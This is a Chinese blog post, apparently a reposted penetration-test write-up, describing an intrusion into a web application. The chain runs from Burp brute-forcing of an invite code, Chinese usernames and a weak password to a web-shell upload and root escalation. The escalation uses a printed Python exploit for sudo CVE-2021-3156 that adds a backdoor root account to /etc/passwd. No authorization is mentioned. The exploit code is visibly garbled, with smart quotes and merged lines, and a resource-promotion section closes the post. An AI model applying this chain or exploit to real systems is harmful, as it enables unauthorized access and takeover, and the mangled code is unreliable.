0x01 打点
开局又是一个登录框,扫了目录没有其他入口。难道又要祭出拿手绝招(爆破弱口令吗),思路清晰,开搞。
直接上来爆破弱口令是行不通的,因为不知道账号规则去胡乱爆破一通,很容易被对方防护设备拦截到把自身的IP地址暴露或者被封禁。
看到有一个立即注册和忘记密码觉得可以搞一搞。
首先打开立即注册页面
可以看到我们可以去注册一个账号,输入账号、密码、手机号来注册尝试一下。(输入账号的时候尝试输入英文字母和数字是无法输入的,只能输入汉字,这点可以猜测账号是中文。)
之前以为这个邀请码是随便输入的,看来是不行的,用burp爆破一下邀请码吧。
burp抓包就不说了,intruder模块配置选择数值,从00000-99999增量选择1。
成功爆出邀请码,但是可以看到成功注册了,但是需要审核,先登录一下试试。
虽然成功爆破到了邀请码,但是注册的账号没有审核还是无法登录。
不过我们之前注册账号的时候可以得知:账号命名规则是中文
那我们用burp来导入常见中文姓名来尝试爆破。
可以看到中文账号这里是经过url编码的,如果我们直接把中文导入burp是会乱码的。像这样
我们需要把中文姓名经过URL编码之后再导入,用站长之家的在线工具就行
在爆破过程中发现有的显示账户不存在,有的显示密码不正确,然而返回包的长度都是一样的,有没有什么快速区分他们的方法呢,其实burp简单配置一下就可以实现这个功能。
打开intruder的Options设置,找到Grep-Match,可以看到这个功能可以通过字符串或正则表达式进行内容匹配
先把原有的清空,然后输入我们想匹配的字符串,想要匹配中文字符的话可以先把中文字符转换成十六进制,然后通过正则匹配。
我们来匹配密码不正确的,使用python把密码不正确转换成十六进制
然后把转换好的添加进去。
可以看到长度后面就是我们匹配的字符,这样就可以把存在的账号收集起来然后去爆破弱口令。
成功爆破出来一个账号
登录进去
找个上传点上传shell,一气呵成。
看下系统权限
查看系统版本
可以看到是centos的系统,可以尝试使用sudo提权。
0×02提权
sudo本地提权漏洞(CVE-2021-3156)
漏洞详情:
Sudo是一个功能强大的工具,其允许普通用户执行root权限命令,大多数基于Unix和Linux的操作系统都包含sudo。
2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。
当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
安全研究人员于1月26日公开披露了此漏洞,并表示该漏洞已经隐藏了近十年。
影响范围
Sudo 1.8.2 - 1.8.31p2``Sudo 1.9.0 - 1.9.5p1
查看一下sudo的版本,可以看到这个版本是存在漏洞的。
纠正一点,网上有的说“使用sudoedit -s /命令,如果出现以“ sudoedit:”开头的错误响应,则系统受到此漏洞影响;如果出现以“ usage:”开头的错误响应,则表示该漏洞已被补丁修复”这个说法是不准确的。具体的大家可以自己尝试,不要因为没有显示“sudoedit”就觉得不存在漏洞。
使用一个python脚本
#!/usr/bin/pythonimport os
import sysimport resource
from struct import packfrom ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"aa:
5
5
5AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";
#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabledSTACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
# expect large hole for cmnd size is correctTARGET_CMND_SIZE = 0x1b50
argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack(‘<Q’, SA+0x18) # cmndspecADDR_MEMBER_PREV = pack('<Q', SA+0x20)
ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack(‘<Q’, SA+0x30)
OFFSET = 0x30 + 0x20ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack(‘<Q’, SA+OFFSET+0x40)ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack(‘<Q’, SA+OFFSET+0x40+0x30+0x60)
# for sprayingepage = [` `'A'*0x8 + # to not ending with 0x00
# fake def->var chunk (get freed)
‘\x21’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’,
ADDR_PRIV[:6], ‘’, # pointer to privilege
ADDR_CMND[:6], ‘’, # pointer to cmndspec
ADDR_MEMBER[:6], ‘’, # pointer to member ` `# fake def->binding (list head) (get freed)` `'\x21', '', '', '', '', '', '',` `'', '', '', '', '', '', '', '', # members.first` `'A'*0x10 + # members.last, pad
# userspec chunk (get freed)
‘\x41’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # chunk metadata
‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # entries.tqe_next
‘A’*8 + # entries.tqe_prev
‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # users.tqh_first
ADDR_MEMBER[:6]+‘’, ‘’, # users.tqh_last
‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # privileges.tqh_first
ADDR_PRIV[:6]+‘’, ‘’, # privileges.tqh_last
‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # comments.stqh_first ` `# member chunk` `'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)` `'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)` `ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)` `'A'*8 + # member.name (can be any because this object is not freed)` `pack('<H', 284), '', # type, negated` `'A'*0xc+ # padding
# cmndspec chunk
‘\x61’*0x8 + # chunk metadata (need only prev_inuse flag)
‘A’*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], ‘’, # entries.teq_prev
‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # runasuserlist
‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # runasgrouplist
ADDR_MEMBER[:6], ‘’, # cmnd
‘\xf9’+‘\xff’0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # role
‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # type
'A’8 + # padding ` `# privileges chunk` `'\x51'*0x8 + # chunk metadata` `'A'*0x8 + # entries.tqe_next` `ADDR_PRIV_PREV[:6], '', # entries.teq_prev` `'A'*8 + # ldap_role` `'A'*8 + # hostlist.tqh_first` `ADDR_MEMBER[:6], '', # hostlist.teq_last` `'A'*8 + # cmndlist.tqh_first` `ADDR_CMND[:6], '', # cmndlist.teq_last
]
cnt = sum(map(len, epage))padlen = 4096 - cnt - len(epage)
epage.append(‘P’(padlen-1))
env = [
“A”(7+0x4010 + 0x110) + # overwrite until first defaults
“\x21\”, “\”, “\”, “\”, “\”, “\”, “\”, "A"*0x18 +
# defaults
“\x41\”, “\”, “\”, “\”, “\”, “\”, “\”, # chunk size
“\”, “\”, “\”, “\”, “\”, “\”, “\”, “\”, # next
‘a’*8 + # prev
ADDR_DEF_VAR[:6]+’\‘, ‘\’, # var
“\”, “\”, “\”, “\”, “\”, “\”, “\”, “\”, # val
ADDR_DEF_BINDING[:6]+’\‘, ‘\’, # binding
ADDR_REFSTR[:6]+’\‘, ‘\’, # file
“Z”*0x8 + # type, op, error, lineno
“\x31\”, “\”, “\”, “\”, “\”, “\”, “\”, # chunk size (just need valid)
‘C’*0x638+ # need prev_inuse and overwrite until userspec
‘B’*0x1b0+
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
“\x61\”, “\”, “\”, “\”, “\”, “\”, “\”, # chunk size
ADDR_USER[:6]+’\‘, ‘\’, # entries.tqe_next points to fake userspec in stack
“A”*8 + # entries.tqe_prev
“\”, “\”, “\”, “\”, “\”, “\”, “\”, “\”, # users.tqh_first
ADDR_MEMBER[:6]+’\‘, ‘\’, # users.tqh_last
“\”, “\”, “\”, “\”, “\”, “\”, “\”, “”, # privileges.tqh_first ` `"LC_ALL=C",` `"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd` `"TZ=:",
]
ENV_STACK_SIZE_MB = 4for i in range(ENV_STACK_SIZE_MB * 1024 / 4):` `env.extend(epage)
# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]
env.append(None)
cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(env))(*env)
# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()os.dup2(r, 0)
w = os.fdopen(w, ‘w’)w.write(APPEND_CONTENT)
w.close()
null_fd = os.open(’/dev/null’, os.O_RDWR)os.dup2(null_fd, 2)
``for i in range(8192):
sys.stdout.write(‘%d\r’ % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print(“success at %d” % i)
break
这个脚本使用python2运行,部分centos自带python的。
把脚本上传到网站目录,然后反弹一个交互shell,运行脚本。
成功后会生成一个aa的用户,默认密码为www
0×03结论
善于运用工具可以为渗透带来极大的便利,尤其是BURP是一个非常强大的工具,这次渗透就是运用了BURP的各种功能,还有很多功能也是非常好用的,大家可以多研究。
文章来源:奇安信攻防社区(带头小哥)``原文地址:https://forum.butian.net/share/1096
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取